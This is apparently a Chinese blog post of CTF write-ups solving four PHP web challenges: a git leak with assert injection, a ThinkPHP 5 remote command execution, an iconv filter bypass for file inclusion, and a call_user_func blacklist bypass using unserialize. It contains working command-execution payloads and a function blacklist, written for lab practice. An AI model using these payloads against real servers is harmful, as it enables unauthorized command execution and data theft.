攻防世界做题记录_1

做题记录


mfw

进入环境:
b5
点下上面的链接看看结果About:
b6
里面有个Git,想到了Git泄露,直接看下.git文件有没有:
b7
上GitHack:
python GitHack.py http://61.147.171.105:55455/.git/
b8
访问一下,看有没有啥好东西:
flag.php里啥也没有,可惜:
b9
看下index.php,里面有不少好东西,把有用的php部分拿出来:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
<?php

if (isset($_GET['page'])) {
$page = $_GET['page'];
} else {
$page = "home";
}

$file = "templates/" . $page . ".php";

// I heard '..' is dangerous!
assert("strpos('$file', '..') === false") or die("Detected hacking attempt!");

// TODO: Make this look nice
assert("file_exists('$file')") or die("That file doesn't exist!");

?>
<?php
require_once $file;
?>

首先GET方式传page,不给page赋值的话自动等于home(就是我们进去看到的首页),然后进行一个拼接:templates/$page.php,把这东西给$file。assert这东西叫“断言检查”,意思是如果里面的条件是真,就会接着执行后面的函数require_once,这东西有点点像include包含,至于直接包含某个文件,不用伪协议啥的我一直把它理解成执行该文件,哈哈。
接下来的思路就是构造page让他执行一些命令比如’ls’ ‘cat’啥的。
接下来的payload参考了这位师傅的文章,感谢!:
https://blog.csdn.net/m0_62063669/article/details/125427751?ops_request_misc=%257B%2522request%255Fid%2522%253A%2522169364331616800186574360%2522%252C%2522scm%2522%253A%252220140713.130102334..%2522%257D&request_id=169364331616800186574360&biz_id=0&utm_medium=distribute.pc_search_result.none-task-blog-2~all~top_click~default-2-125427751-null-null.142^v93^koosearch_v1&utm_term=mfw&spm=1018.2226.3001.4187
payloaad:
index.php/?page=flag','abc') === false and system("cat templates/flag.php") and strops('flag
解释下为什么要给page赋这么一个值,先看这个page让file成了个啥东西:
file = template/flag','abc') === false and system("cat templates/flag.php") and strops('flag.php
带到断言函数中:
assert("strpos('template/flag','abc') === false and system("cat templates/flag.php") and strops('flag.php', '..') === false") or die("Detected hacking attempt!");

strpos函数是看参数里有没有要检测的值,有的话返回第一次出现的位置,没有就返回false。明显 ‘template/flag’这里面没abc,第一个assert为真;第二个执行 cat templates/flag.php ,这没啥好说的,就是去拿我们要的flag,不过注意cat后的文件路径。我们当前在index.php下,index.php和templates同目录,flag.php又在templates下。所以相对路径就是templates/flag.php。最后一个断言是找flag.php中有没有俩点,没有返回false。因为是两个and连接,三个条件都为真即为真。然后直接require($file),执行命令。
flag藏在源码里:
image

php_rce

进入环境:
image
Github搜下有关这个ThinkPHPV5的相关漏洞,发现有一大堆远程命令执行的POC:
image
找个长的试试:
s=index/%5Cthink%5Capp/invokefunction&function=call_user_func_array&vars%5B0%5D=phpinfo&vars%5B1%5D%5B%5D=1
执行了phpinfo()这个命令
image
ls看下当前目录下的文件:
?s=index/\think\app/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]=ls
image
没有和flag有关的东西,等会用find找一下,不过这里有个和爬虫有关的robots.txt,让我看看你:
image
可惜啥也没有,find命令找下和flag有关的东西:
?s=index/\think\app/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]=find /%20 -name "flag*"
find是全磁盘查找所以可能会比较慢:
image
草了,还是看看根目录下都啥东西吧:
?s=index/\think\app/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]=ls /
image
有个flag: ls /flag没啥有价值的东西,直接 cat /flag读一下:
image

题目名称-文件包含

进入环境,朴实无华的一小段php,直接filter伪协议读flag.php源码:
image
回显了dont hack!估计check.php起作用然后触发什么关键词了。。这时候想到之前做过的一道题:用了
convert.iconv.UTF-8*.UCS-4BE.resource=./check.php
这种类型的过滤器,那就试试这个:
?filename=php://filter/convert.iconv.UTF-8*.UCS-4BE.resource=./check.php
image
过滤器对了但是用法不对,那可能是input-encoding和output-encoding不对。。需要一个一个找。。但这玩意可用的编码实在太多:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
UCS-4*
UCS-4BE
UCS-4LE*
UCS-2
UCS-2BE
UCS-2LE
UTF-32*
UTF-32BE*
UTF-32LE*
UTF-16*
UTF-16BE*
UTF-16LE*
UTF-7
UTF7-IMAP
UTF-8*
ASCII*
EUC-JP*
SJIS*
eucJP-win*
SJIS-win*
ISO-2022-JP
ISO-2022-JP-MS
CP932
CP51932
SJIS-mac(别名:MacJapanese)
SJIS-Mobile#DOCOMO(别名:SJIS-DOCOMO)
SJIS-Mobile#KDDI(别名:SJIS-KDDI)
SJIS-Mobile#SOFTBANK(别名:SJIS-SOFTBANK)
UTF-8-Mobile#DOCOMO(别名:UTF-8-DOCOMO)
UTF-8-Mobile#KDDI-A
UTF-8-Mobile#KDDI-B(别名:UTF-8-KDDI)
UTF-8-Mobile#SOFTBANK(别名:UTF-8-SOFTBANK)
ISO-2022-JP-MOBILE#KDDI(别名:ISO-2022-JP-KDDI)
JIS
JIS-ms
CP50220
CP50220raw
CP50221
CP50222
ISO-8859-1*
ISO-8859-2*
ISO-8859-3*
ISO-8859-4*
ISO-8859-5*
ISO-8859-6*
ISO-8859-7*
ISO-8859-8*
ISO-8859-9*
ISO-8859-10*
ISO-8859-13*
ISO-8859-14*
ISO-8859-15*
ISO-8859-16*
byte2be
byte2le
byte4be
byte4le
BASE64
HTML-ENTITIES(别名:HTML)
7bit
8bit
EUC-CN*
CP936
GB18030
HZ
EUC-TW*
CP950
BIG-5*
EUC-KR*
UHC(别名:CP949)
ISO-2022-KR
Windows-1251(别名:CP1251)
Windows-1252(别名:CP1252)
CP866(别名:IBM866)
KOI8-R*
KOI8-U*
ArmSCII-8(别名:ArmSCII8

直接去翻了wp。。感谢这位师傅:
https://blog.csdn.net/gsumall04/article/details/131807065?ops_request_misc=%257B%2522request%255Fid%2522%253A%2522169373375216800222871982%2522%252C%2522scm%2522%253A%252220140713.130102334..%2522%257D&request_id=169373375216800222871982&biz_id=0&utm_medium=distribute.pc_search_result.none-task-blog-2~all~top_positive~default-1-131807065-null-null.142^v93^koosearch_v1&utm_term=%E9%A2%98%E7%9B%AE%E5%90%8D%E7%A7%B0-%E6%96%87%E4%BB%B6%E5%8C%85%E5%90%AB&spm=1018.2226.3001.4187
我是懒狗就不一个一个加了。。也不知道有没有编码的字典,能方便不少。我放了4种熟悉下步骤:burpsuite的intruder模块爆一下,选择集束炸弹模式:
image
根据长度排列一下:
image
拿到flag:
image
最后说下为什么要去读flag.php而不是别的:一是很多flag都在这个文件里,二是直接访问flag.php时它并没给我们报错:
image
image
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25


1xx(信息性状态码):表示请求已被接收,继续处理。
100 Continue:服务器已接收到请求的初始部分,客户端应继续发送剩余部分。
101 Switching Protocols:服务器已理解并接受客户端的请求,将切换到新的协议。

2xx(成功状态码):表示请求已成功被服务器接收、理解和处理。
200 OK:请求成功,服务器返回请求的内容。
201 Created:请求成功,服务器创建了新资源。
204 No Content:请求成功,服务器处理成功,但没有返回任何内容。

3xx(重定向状态码):表示需要进一步操作以完成请求。
301 Moved Permanently:请求的资源已永久移动到新位置。
302 Found:请求的资源临时移动到新位置。
304 Not Modified:资源未修改,客户端可以使用缓存的版本。

4xx(客户端错误状态码):表示客户端发送的请求有错误。
400 Bad Request:请求无效,服务器无法理解。
401 Unauthorized:请求要求身份验证。
404 Not Found:请求的资源不存在。

5xx(服务器错误状态码):表示服务器在处理请求时发生错误。
500 Internal Server Error:服务器遇到了意外错误。
502 Bad Gateway:服务器作为网关或代理,从上游服务器接收到无效响应。
503 Service Unavailable:服务器当前无法处理请求,通常由于过载或维护。

[网鼎杯 2020 朱雀组]phpweb

进入环境:
image
没啥特别的。。不过这页面没过几秒就会刷新一下,出现下面这种东西:
image
他说某个和data有关的函数设置有问题?右键看下源码有啥东西:
image
burpsuite抓下包看看:
image
下面有个这个东西:
func=date&p=Y-m-d+h%3Ai%3As+a
前面是个函数?后面是他的参数?看着像命令执行,改成system(‘ls’)看看效果:
func=system&p=ls
image
回显了hacker。。估计是太直白了,system/eval都会回显Hacker。include/require函数读下index.php的源码?
func=include&p=php://filter/read=convert.base64-encode/resource=index.php
image
提示call_user_func()函数找不到第一个参数include/require或这是一个无效的函数名?怎么会找不到include()函数呢?问了下GPT发现call_back_func不是所有函数都能执行,它是调用一个回调函数或方法。而且并不是所有函数都是回调函数,判断一个函数能否回调可以用is_callable函数,比如:

1
2
3
4
5
6
7
8
9
10
11
12
<?php


$callback = 'include';

if (is_callable($callback)) {
echo '可以回调';
} else {
echo '不可回调';
}
//结果:不可回调
?>

不得不说CHATGPT这东西确实好用,我问他call_back_func(include,php://filter/read=convert.base64-encode/resource=index.php)为什么不行时他不光给了不可用的理由,还建议我用file_get_contents()函数去读文件:
image
差点把这东西忘了,既然它可以回调就file_get_contents(index.php)读下Index.php:
func=file_get_contents&p=index.php
image

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
<?php
$disable_fun = array("exec","shell_exec","system","passthru","proc_open","show_source","phpinfo","popen","dl","eval","proc_terminate","touch","escapeshellcmd","escapeshellarg","assert","substr_replace","call_user_func_array","call_user_func","array_filter", "array_walk", "array_map","registregister_shutdown_function","register_tick_function","filter_var", "filter_var_array", "uasort", "uksort", "array_reduce","array_walk", "array_walk_recursive","pcntl_exec","fopen","fwrite","file_put_contents");//黑名单,禁用了很多函数
function gettime($func, $p) {
$result = call_user_func($func, $p); //调用call_user_func函数,注意该函数只能调用可以回调的函数
$a= gettype($result); //$result是什么类型?
if ($a == "string") { //如果是字符串
return $result;
} else {return "";} //如果是其它
}
class Test {
var $p = "Y-m-d h:i:s a";//旧式的用于声明类属性(成员变量)的关键字,新版本的PHP多用 public等
var $func = "date";
function __destruct() {
if ($this->func != "") {
echo gettime($this->func, $this->p);
}
}
}
$func = $_REQUEST["func"];//获取通过 GET、POST 和 COOKIE 方法传递的参数
$p = $_REQUEST["p"];

if ($func != null) {
$func = strtolower($func);
if (!in_array($func,$disable_fun)) {
echo gettime($func, $p);
}else {
die("Hacker...");
}
}
?>

尝试用相对路径读有没有flag.php这东西。。没试出来。。就去网上找了下wp。感觉已经很接近结果了有点不甘心😔感谢这位师傅的文章:
https://blog.csdn.net/qq_58784379/article/details/120877859
第一种方法:
在PHP中的函数前面加个\并不印象函数运行(php内的” \ “在做代码执行的时候,会识别特殊字符串,绕过黑名单)。拿前面那个is_callable函数举个例子:

1
2
3
4
5
6
7
8
9
10
11
12
<?php


$callback = 'include';

if (\is_callable($callback)) {
echo '可以回调';
} else {
echo '不可回调';
}
//结果仍是不可回调
?>

问了下GPT,这个\是一种命名空间限定符,用于告诉 PHP 解释器要使用全局命名空间中的函数,而不是当前命名空间中的函数。如果没有使用命名空间或没有同名函数存在于全局命名空间中,添加反斜杠将没有实际影响。
func=\system&p=find / -name "flag*"//跟以前做的题一样,只要用find找东西就是全磁盘查找,会很慢
回显:
image
image
读最底下这个/tmp/flagoefiu4r93
func=file_get_contents&p=/tmp/flagoefiu4r93
或者func=\system&p=cat /tmp/flagoefiu4r93
得flag
第二种方法用了反序列化:

1
2
3
4
5
6
7
8
9
class Test {
var $p = "Y-m-d h:i:s a";
var $func = "date";
function __destruct() {
if ($this->func != "") {
echo gettime($this->func, $this->p); //命令执行
}
}
//这东西没被用过,因为Test类里包含一个__destruct函数,这函数在对象被销毁时会被调用,

我们想执行system(‘ls’)而且要绕过对func的黑名单检测,可以先序列化要执行的命令,然后利用get函数反序列化要执行的命令,反序列化后要销毁变量时会调用__destruct函数,这个函数定义了func(要执行的命令)和p(要执行命令的参数),然后再调用一次gettime函数(又执行了一次命令)。一来一回执行了两次gettime。
先序列化我们要执行的命令和参数:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
<?php


class Test {
var $p = "ls";
var $func = "system";

}

$a = new Test();

$b = serialize($a);

echo $b;

?>

//结果:O:4:"Test":2:{s:1:"p";s:2:"ls";s:4:"func";s:6:"system";}

payload:
func=unserialize&p=O:4:"Test":2:{s:1:"p";s:2:"ls";s:4:"func";s:6:"system";}// 看当前目录下有什么文件
image
OK,没啥问题,因为根据第一种做法已经知道了flag藏在哪,直接去找/tmp/flagoefiu4r93把我们的命令序列化一下:
func=unserialize&p=O:4:"Test":2:{s:1:"p";s:22:"cat /tmp/flagoefiu4r93";s:4:"func";s:6:"system";}
结果:
image


攻防世界做题记录_1
http://example.com/2023/09/11/攻防世界做题记录3/
作者
notbad3
发布于
2023年9月11日
许可协议